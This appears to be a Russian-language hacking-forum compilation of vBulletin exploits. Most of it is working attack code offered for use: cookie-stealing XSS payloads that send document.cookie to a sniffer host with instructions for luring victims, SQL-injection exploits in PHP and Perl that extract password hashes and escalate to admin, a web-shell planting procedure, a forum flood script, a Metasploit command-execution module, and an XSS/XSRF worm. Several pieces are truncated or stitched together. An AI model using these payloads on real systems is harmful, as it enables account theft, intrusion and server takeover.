2.2.* - 2.2.4 - Выполнение произвольного кода
Описание уязвимости: уязвимость в vBulletin's Calendar PHP сценарии (calender.php) позволяет удаленному атакующему выполнять произвольный код в контексте пользователя 'nobody'. Exploit:
PHP код:
/* php2.c - Vbulletin/calender.php remote command execution exploit
*
* This code is published property of gosper
* leads to gid apache.
*
* thanks and shouts go out to ectos and tgrey ;)
*
* (C) COPYRIGHT Gosper , 2002 - gosper@nix.org
* all rights reserved
***********************************************************************
*/
Описание уязвимости: уязвимость существует в сценарии search.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта. Пример:
PHP код:
www.xz.сom/forumpath//search.php?do=process&showposts=0&query=<script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>
3.0-3.0.4 - Выполнение произвольных команд
Описание уязвимости: уязвимость существует в сценарии forumdisplay.php из-за некорректной обработки глобальных переменных. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольные команды на системе. Пример:
Описание уязвимости: уязвимость существует при обработке входных данных в поле Статус. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный HTML сценарий в браузере жертвы в контексте безопасности уязвимого сайта.
Примечание: менять свой статус по умолчанию может только администрация, начиная от группы Модераторы. Пример:
PHP код:
<body onLoad=img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;>
3.0.9 and 3.5.4 - XSS
Описание уязвимости: звимость существует из-за недостаточной обработки входных данных в параметре posthash в сценарии newthread.php. Удаленный пользователь может с помощью специально сформированного POST запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта. Пример:
PHP код:
www.xz.сom/forumpath/newthread.php?do=newthread&f=3&subject=1234&WYSIWYG_HTML=%3Cp%3E%3C%2Fp%3E&s=&f=3&do=postthread&posthash=c8d3fe38b082b6d3381cbee17f1f1aca&poststarttime='%2Bimg = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;%2B'&sbutton=%D1%EE%E7%E4%E0%F2%FC+%ED%EE%E2%F3%FE+%F2% E5%EC%F3&parseurl=1&disablesmilies=1&emailupdate=3&postpoll=yes&polloptions=1234&openclose=1&stickunstick=1&iconid=0
vBulletin 3.5
3.5.2 - XSS
Описание уязвимости: Уязвимость существует при обработке входных данных в поле "title" в сценарии "calendar.php". Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта. Пример:
PHP код:
TITLE:--------->Test<script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>
BODY:---------->No matter
OTHER OPTIONS:->No matter
Пояснение: заходим в календарь, жмём создать новое событие, и в заголовке прописываем <script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>, смотрим ссылку на наше событие и впариваем её тому у кого хотим украсть cookie
3.5.3 - XSS
Описание уязвимости: уязвимость существует из-за недостаточной обработки входных данных в поле "Email Address" в модуле "Edit Email & Password". Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
Примечание: удачная эксплуатация уязвимости возможна при включенных опциях "Enable Email features" и "Allow Users to Email Other Member". Пример:
PHP код:
www.xz.сom/forumpath/profile.php?do=editpassword
pass:your pass
email: vashe@milo.com”><script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>.nomatt
Note About lenght limitation
****
forum/profile.php?do=editoptions
Receive Email from Other Members=yes
****
www.xz.сom/forumpath/sendmessage.php?do=mailmember&u={your id}
Пояснение: заходим в профиль и в поле email прописываем vashe@milo.com”><script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>.nomatt. Cохраняем. Потом ставим в опциях свой емайл видимым для всех. Теперь втравливаем кому нибудь ссылку www.xz.сom/forumpath/sendmessage.php?do=mailmember&u={your id}, где {your id} ваш id. Cookie уйдут на снифер.
3.5.4 - Дамп БД
Описание уязвимости: уязвимость существует из-за недостаточного ограничения на доступ к сценарию upgrade_301.php в каталоге 'install'. Удаленный пользователь может с помощью специально сформированного URL сделать дамп базы данных приложения. Пример:
3.5.4 - XSS
Описание уязвимости: уязвимость существует из-за недостаточной обработки входных данных в параметре url сценария inlinemod.php. Удаленный пользователь может с помощью специально сформированного POST запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта. Пример:
этот способ работает в очень многих местах, также как и встраивание кода в картинку. минус этого способа, что не во всех местах можно прикреплять файлы.
Уязвимость позволяет удаленному злоумышленнику выполнить произвольный сценарий на целевой системе. Уязвимость существует из-за ошибки в проверке входных данных при обработке входящих запросов. Атакующий может выполнить SWF произвольный сценарий и выкрасть данные аутентификации cookie.
vBug Tracker 3.5.1 - XSS
Описание уязвимости: уязвимость существует из-за недостаточной обработки входных данных в параметре "sortorder" сценария vbugs.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта. Пример:
PHP код:
www.xz.сom/forumpath/vbugs.php?do=list&s=&textsearch=&vbug_typeid=0&vbug_statusid=0&vbug_severityid=0&vbug_versionid=0&assignment=0&sortfield=lastedit&sortorder=%22%3Cscript%3Eimg = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;%3C/script%3E
ImpEx 1.74 - PHP-инклюдинг и выполнение команд
Описание уязвимости: уязвимость существует из-за недостаточной обработки входных данных в параметре "systempath" в сценарии ImpExData.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера. Пример:
ibProArcade 2.x - SQL injection
Описание уязвимости: Уязвимость существует в модуле ”Report” при обработке входных данных в параметре user сценария index.php. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольные SQL команды в базе данных приложения. Пример:
PHP код:
www.xz.сom/forumpath/index.php?act=ibProArcade&module=report&user=-1 union select password from user where userid=[any_user]
1. Заходим в админку.
2. Система модулей.
3. Добавить новый модуль.
Продукт: ставим vBulletin
Месторасположение: Vbulletin: Справка - faq_complete
Вставляем в тело код нашего шелла (шелл не должен превышать 60кб), проще сделать system($_GET["cmd"]);
4. Сохраняем, идём в faq (справка), всё теперь у нас есть шелл. Если он был такой system($_GET["cmd"]); делаем так www.xz.сom/forumpath/faq.php?cmd=тут команда
эксплоит для флуда форума.
PHP код:
<?
set_time_limit(60);
//You can change 10 to other numbers
for($i = 1 ; $i <= 10 ; $i++)
{
//to put curl to send POST request
$ch = curl_init();
//change http://localhost/vb3 to the url of the script
curl_setopt($ch , CURLOPT_URL , 'http://localhost/vb3/register.php');
curl_setopt($ch , CURLOPT_POST , 1) ;
curl_setopt($ch , CURLOPT_POSTFIELDS , 'agree=1&s=&do=addmember&url=index.php&password_md5=&passwordconfirm_md5=&day=0&month=0&year=0&username=x-boy'.$i.'&password=elmehdi&passwordconfirm=elmehdi&email=dicomdk'.$i.'@gmail.com&emailconfirm=dicomdk'.$i.'@gmail.com&referrername=&timezoneoffset=(GMT -12:00) Eniwetok, Kwajalein&dst=DST corrections always on&options[showemail]=1');
curl_exec($ch);
curl_close($ch);
}
//Flood finished good luck
?>
vBulletin 3.6.4
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре «postids» сценарием inlinemod.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.
PHP код:
<?php
print_r('
-----------------------------------------------------------------------------
vBulletin <= 3.6.4 inlinemod.php "postids" sql injection / privilege
escalation by session hijacking exploit
by rgod
mail: retrog at alice dot it
site: http://retrogod.altervista.org
Works regardless of php.ini settings, you need a Super Moderator account
to copy posts among threads, to be launched while admin is logged in to
the control panel, this will give you full admin privileges
note: this will flood the forum with empty threads even!
-----------------------------------------------------------------------------
');
if ($argc<7) {
print_r('
-----------------------------------------------------------------------------
Usage: php '.$argv[0].' host path user pass forumid postid OPTIONS
host: target server (ip/hostname)
path: path to vbulletin
user/pass: you need a moderator account
forumid: existing forum
postid: existing post
Options:
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost /vbulletin/ rgod mypass 2 121 -P1.1.1.1:80
php '.$argv[0].' localhost /vbulletin/ rgod mypass 1 143 -p81
-----------------------------------------------------------------------------
');
die;
}
/*
vulnerable code in inlinemod.php near lines 185-209:
$postids = explode(',', $vbulletin->GPC['postids']);
foreach ($postids AS $index => $postid)
{
if ($postids["$index"] != intval($postid))
{
unset($postids["$index"]);
}
}
if (empty($postids))
{
eval(standard_error(fetch_error('no_applicable_posts_selected')));
}
if (count($postids) > $postlimit)
{
eval(standard_error(fetch_error('you_are_limited_to_working_with_x_posts', $postlimit)));
}
break;
...
when an element of $postids array is not an integer, it fails to unset() the proper value.
An example:
<?php
$foo[1]="99999) UNION SELECT foo FROM foo WHERE foo=1 LIMIT 1/*";
$foo[2]=intval($foo[1]);
99999) UNION SELECT foo FROM foo WHERE foo=1 LIMIT 1/*
99999
they match!
this because when php tries to comparise a string with an integer
it tries to convert the string in its integer value, it chooses the first integer chars
of the string itself!
so unset() never run!
the result is sql injection near lines 3792-3800:
...
$posts = $db->query_read_slave("
SELECT post.postid, post.threadid, post.visible, post.title, post.username, post.dateline, post.parentid, post.userid,
thread.forumid, thread.title AS thread_title, thread.postuserid, thread.visible AS thread_visible, thread.firstpostid,
thread.sticky, thread.open, thread.iconid
FROM " . TABLE_PREFIX . "post AS post
LEFT JOIN " . TABLE_PREFIX . "thread AS thread USING (threadid)
WHERE postid IN (" . implode(',', $postids) . ")
ORDER BY post.dateline
");
...
this exploit extract various session hashes from the database
to authenticate as admin and to change the privileges of a registered user
I could not find a way to see results inside html, so this asks true/false
questions to the database, copying posts around threads
possible patch, replace:
foreach ($postids AS $index => $postid)
{
if ($postids["$index"] != intval($postid))
{
unset($postids["$index"]);
}
}
with:
foreach ($postids AS $index => $postid)
{
$postids["$index"]=(int)$postids["$index"];
}
and, some line before:
foreach ($threadids AS $index => $threadid)
{
if ($threadids["$index"] != intval($threadid))
{
unset($threadids["$index"]);
}
}
with:
foreach ($threadids AS $index => $threadid)
{
$threadids["$index"]=(int)$threadids["$index"];
}
$port=80;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
//now give full rights to the new Administrator
$data ="do=update";
$data.="&adminhash=".$adminhash;
$data.="&adminpermissions%5Bcanadminsettings%5D=1";
$data.="&adminpermissions%5Bcanadminstyles%5D=1";
$data.="&adminpermissions%5Bcanadminlanguages%5D=1";
$data.="&adminpermissions%5Bcanadminforums%5D=1";
$data.="&adminpermissions%5Bcanadminthreads%5D=1";
$data.="&adminpermissions%5Bcanadmincalendars%5D=1";
$data.="&adminpermissions%5Bcanadminusers%5D=1";
$data.="&adminpermissions%5Bcanadminpermissions%5D=1";
$data.="&adminpermissions%5Bcanadminfaq%5D=1";
$data.="&adminpermissions%5Bcanadminimages%5D=1";
$data.="&adminpermissions%5Bcanadminbbcodes%5D=1";
$data.="&adminpermissions%5Bcanadmincron%5D=1";
$data.="&adminpermissions%5Bcanadminmaintain%5D=1";
$data.="&adminpermissions%5Bcanadminplugins%5D=1";
$data.="&cssprefs=";
$data.="&dismissednews=";
$data.="&userid=".$my_uid;
$data.="&oldpermissions=98300";
$data.="&adminpermissions%5Bcanadminupgrade%5D=0";
$packet ="POST ".$p."admincp/adminpermissions.php?do=update HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.$path."profile.php\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Pragma: no-cache\r\n";
$packet.="Cookie: ".$cookie_prefix."lastactivity=0; ".$cookie_prefix."password=".md5(trim($my_hash))."; ".$cookie_prefix."userid=".$uid."; ".$cookie_prefix."sessionhash=".trim($sess_hash)."; ".$cookie_prefix."cpsession=".trim($cpsess_hash).";\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
echo "\nnow go to http://".$host.$path."admincp/index.php and login to the control panel...";
?>
Сплойт который выдерает пасс у заданного юзера и меняет его
PHP код:
#!/usr/bin/perl
# Vbulletin module Petz with sql-injection.
# coded by k1b0rg(768620)
#
# This exploit changing your buyer.
# A new password consists of figures, the length of 8 and going to take a great brut of time(passwords pro);)
# If you do not need to change the password, simply stop exploit at the time of the removal of the password.
# Running exploit again sent two letters to the box. Be akkuratney.
# In the first test of vulnerability when sql error, the box webmaster sent a letter of error. Be akkuratney.
#
# dork: inurl:petz.php
#
# download module: http://dev.p3tz.com/
#
# Lamers go to жопа.
# exp: perl petz.pl -uhttp://forumteen.net/diendan/ -i1
#
# needly:
# mysql >=4
# magic_quotes off
# direct hands
#
# greets: antichat.ru mini-rinok.ru
#
use LWP::UserAgent;
use Getopt::Std;
use strict;
my %opts;
getopts("i:p:l:P:s:e:u:",\%opts);
my $url=$opts{u};
my $id=$opts{i} || 9107;
my $prefix=$opts{P} || '';
my $password1=$opts{p};
my $salt1=$opts{s};
my $length=$opts{l};
my $email1=$opts{e};
if(!$url || !$id)
{
echo('-------------------------FUCK YOU SPILBERG!----------------------');
echo('Petz sql injection');
echo('Founded and coded by k1b0rg(768620)');
echo('exp: perl petz.pl -uhttp://forumteen.net/diendan/ -i1');
echo('-------------------------FUCK YOU SPILBERG!----------------------');
exit;
}
my $browser = LWP::UserAgent->new();
$browser->requests_redirectable([]);
echo('Petz sql injection');
echo('Founded and coded by k1b0rg(768620)');
########check on vuln and getting prefix#######################################
echo('[\] Step 0: [Checking vuln]');
my $res=$browser->get($url.'petz.php?do=view&id=9995681\'');
if($res->content=~/Database error/i)
{
echo('[|] This script is vulnerable!!!!');
$res->content=~/LEFT JOIN (.*?)user/i;
echo('[/] Prefix is: ['.$1.']');
}
else
{
echo('[|] This script NOT vulnerable!!!!');
exit;
}
########password1################################# ######
echo('[-] Step 1: [getting password(one) user by id ['.$id.']');
echo('[\] Password(1): [');
if(!$password1)
{
for(1..32)
{
my $pos=$_;
for(48..57,97..103)
{
my $asc=$_;
if($asc==103) {echo('EXPLOIT FAILED]',0); exit;}
my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+union+SELECT+666,666+FROM+'.$prefix.' user+WHERE+userid=\''.$id.'\'+and(ascii(substring( password,'.$pos.',1))='.$asc.')/*');
if($res->content!~/Untrapped Error/is) {echo(chr($asc),0); last; }
}
}
}
else
{
echo($password1,0);
}
echo(']',0);
########salt1##################################### ##
echo('[|] Step 2: [getting salt(one) user by id ['.$id.']');
echo('[-] Salt(1): [');
my $salt;
if(!$salt1)
{
for(1..3)
{
my $pos=$_;
for(33..126)
{
my $asc=$_;
my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+union+SELECT+666,666+FROM+'.$prefix.' user+WHERE+userid=\''.$id.'\'+and(ascii(substring( salt,'.$pos.',1))='.$asc.')/*');
if($res->content!~/Untrapped Error/is) {echo(chr($asc),0); $salt.=chr($asc); last; }
}
}
}
else
{
$salt=$salt1;
echo($salt,0);
}
echo(']',0);
##
# Title: vBulletin <= 3.0.6 (Add Template Name in HTML Comments = Yes) command execution eXploit
# Name: php_vb3_0_6.pm
# License: Artistic/BSD/GPL
# Info: trying to get the command execution exploits out of the way on milw0rm.com. M's are always good.
#
#
# - This is an exploit module for the Metasploit Framework, please see
# http://metasploit.com/projects/Framework for more information.
##
package Msf::Exploit::php_vb3_0_6;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use bytes;
my $advanced = { };
my $info = {
'Name' => 'vBulletin <= 3.0.6 (Add Template Name in HTML Comments = Yes) command execution eXploit',
'Version' => '$Revision: 1.0 $',
'Authors' => [ 'str0ke' ],
'Arch' => [ ],
'OS' => [ ],
'Priv' => 0,
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 80],
'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
'RPATH' => [1, 'DATA', 'Path to the misc.php script', '/forum/misc.php'],
'SSL' => [0, 'BOOL', 'Use SSL'],
},
'Description' => Pex::Text::Freeform(qq{
This module exploits a code execution flaw in vBulletin <= 3.0.6.
}),
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $vhost = $self->GetVar('VHOST') || $target_host;
my $path = $self->GetVar('RPATH');
my $cmd = $self->GetVar('EncodedPayload')->RawPayload;
# Encode the command as a set of chr() function calls
my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));
# Create the get request data
my $data = "?do=page&template={\${passthru($byte)}}";
Ага. значит входим по функции из javascript...
Сама функция находится в clientscript/vbulletin_md5.js
А там мы видим в конце:
Код:
// implemented like this to make sure un-updated templates behave as before
input.value = '';
Это значит, что введенный нами пароль просто затирается перед передачей дальше. Просто комментарим строку и собираем пароли (обновляем ессно страницу, для того чтобы заюзать измененный JavaScript)...
Fix:
faq.php, строки 124-128 удаляем
[php] if (strlen($word) == 1)
{
// searches happen anywhere within a word, so 1 letter searches are useless
continue;
}[php]
Found by RoBOTNIK
dieterfleig@yahoo.com
l3vel-69.net
What is ajaxReg mod?
ajaxReg is a common mod used for checking registration details while you are typing them.
ajaxReg:
http://www.vbulletin.org/forum/showthread.php?t=144869
POC:
http://[website]/[forumpath]/ajax.php?do=CheckUsername¶m=# EVIL XSS SCRIPT #
http://www.site.com/forums/ajax.php?do=CheckUsername¶m=<script>alert('xss');</script>
Маленьки баг у хаке Ajax Reg суд в что при установленом этом хаком при регастраци можно выводить html тэги без слэша (/)....и ешо в плагине найден пассивный хсс..
1.Любой версия Vbulletin
2.Ajax Reg v.3.06
Вывод 1.Пишем в поля логина при регах <b>BAG тоест получайем жирный шрифт.
2.Тепер как обычно курсив <i>BaG .
3.Черкныти <u>BaG 4.Тепер самы Главное) ВЫводим вот это
Описание:
Уязвимость позволяет удаленному пользователю произвести XSS нападение.
Уязвимость существует из-за недостаточной обработки входных данных при добавлении комментариев. Удаленный пользователь может с помощью специально сформированного запросы выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
Код:
/* -----------------------------
* Author = Mx
* Title = vBulletin 3.7.3 Visitor Messages XSS/XSRF + worm
* Software = vBulletin
* Addon = Visitor Messages
* Version = 3.7.3
* Attack = XSS/XSRF
- Description = A critical vulnerability exists in the new vBulletin 3.7.3 software which comes included
+ with the visitor messages addon (a clone of a social network wall/comment area).
- When posting XSS, the data is run through htmlentities(); before being displayed
+ to the general public/forum members. However, when posting a new message,
- a new notification is sent to the commentee. The commenter posts a XSS vector such as
+ <script src="http://evilsite.com/nbd.js">, and when the commentee visits usercp.php
- under the domain, they are hit with an unfiltered xss attach. XSRF is also readily available
+ and I have included an example worm that makes the user post a new thread with your own
- specified subject and message.
* Enjoy. Greets to Zain, Ytcracker, and http://digitalgangster.com which was the first subject
* of the attack method.
* ----------------------------- */
function getNewHttpObject() {
var objType = false;
try {
objType = new ActiveXObject('Msxml2.XMLHTTP');
} catch(e) {
try {
objType = new ActiveXObject('Microsoft.XMLHTTP');
} catch(e) {
objType = new XMLHttpRequest();
}
}
return objType;
}
function getAXAH(url){
var theHttpRequest = getNewHttpObject();
theHttpRequest.onreadystatechange = function() {processAXAH();};
theHttpRequest.open("GET", url);
theHttpRequest.send(false);
function processAXAH(){
if (theHttpRequest.readyState == 4) {
if (theHttpRequest.status == 200) {
var str = theHttpRequest.responseText;
var secloc = str.indexOf('var SECURITYTOKEN = "');
var sectok = str.substring(21+secloc,secloc+51+21);
var posloc = str.indexOf('posthash" value="');
var postok = str.substring(17+posloc,posloc+32+17);
var subject = 'subject text';
var message = 'message text';
postAXAH('http://digitalgangster.com/4um/newthread.php?do=postthread&f=5', 'subject=' + subject + '&message=' + message + '&wysiwyg=0&taglist=&iconid=0&s=&securitytoken=' + sectok + '&f=5&do=postthread&posthash=' + postok + 'poststarttime=1&loggedinuser=1&sbutton=Submit+New+Thread&signature=1&parseurl=1&emailupdate=0&polloptions=4');
}
}
}
}
function postAXAH(url, params) {
var theHttpRequest = getNewHttpObject();
theHttpRequest.onreadystatechange = function() {processAXAHr(elementContainer);};
theHttpRequest.open("POST", url);
theHttpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=iso-8859-2');
theHttpRequest.send(params);
function processAXAHr(elementContainer){
if (theHttpRequest.readyState == 4) {
if (theHttpRequest.status == 200) {
}
}
}
}
getAXAH('http://digitalgangster.com/4um/newthread.php?do=newthread&f=5');
document.write('<iframe src="http://digitalgangster.com/4um/newthread.php?do=newthread&f=5">');
# milw0rm.com [2008-11-20]